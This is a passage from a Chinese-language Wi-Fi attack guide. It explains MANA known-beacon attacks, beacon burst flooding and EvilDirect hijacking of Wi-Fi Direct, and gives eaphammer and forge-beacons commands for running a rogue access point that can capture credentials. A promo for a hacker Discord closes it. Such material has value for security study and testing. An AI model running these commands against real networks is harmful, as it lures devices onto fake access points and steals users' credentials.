Eaphammer将此攻击实现为MANA攻击,其中列表中的所有ESSID都会被充电(您还可以将其与--loud结合使用,创建Loud MANA + Known beacons攻击):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

已知的信标突发攻击

已知的信标突发攻击涉及对文件中列出的每个ESSID进行信标帧的快速广播。这将创建一个充满虚假网络的密集环境,极大地增加设备连接到恶意AP的可能性,特别是当与MANA攻击结合使用时。该技术利用速度和数量来淹没设备的网络选择机制。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct 是一种协议,使设备可以直接使用 Wi-Fi 连接,无需传统无线接入点。这种能力已集成到各种物联网(IoT)设备中,如打印机和电视,促进设备之间的直接通信。Wi-Fi Direct 的一个显著特点是,一个设备承担访问点的角色,称为组所有者,用于管理连接。

Wi-Fi Direct 连接的安全性是通过 Wi-Fi Protected Setup (WPS) 建立的,支持几种安全配对方法,包括:

  • 按键配置(PBC)

  • PIN 输入

  • 近场通信(NFC)

这些方法,特别是 PIN 输入,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞影响,使它们成为类似攻击向量的目标。

EvilDirect 劫持

EvilDirect Hijacking 是一种针对 Wi-Fi Direct 的特定攻击。它反映了邪恶孪生攻击的概念,但针对的是 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,旨在欺骗设备连接到恶意实体。可以使用诸如 airbase-ng 这样的工具执行此方法,通过指定被冒充设备的信道、ESSID 和 MAC 地址:

参考资料

TODO: 查看 https://github.com/wifiphisher/wifiphisher(使用 Facebook 登录和在 captive portals 中模拟 WPA)

加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解 参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解了解快节奏的黑客世界

最新公告 了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

最后更新于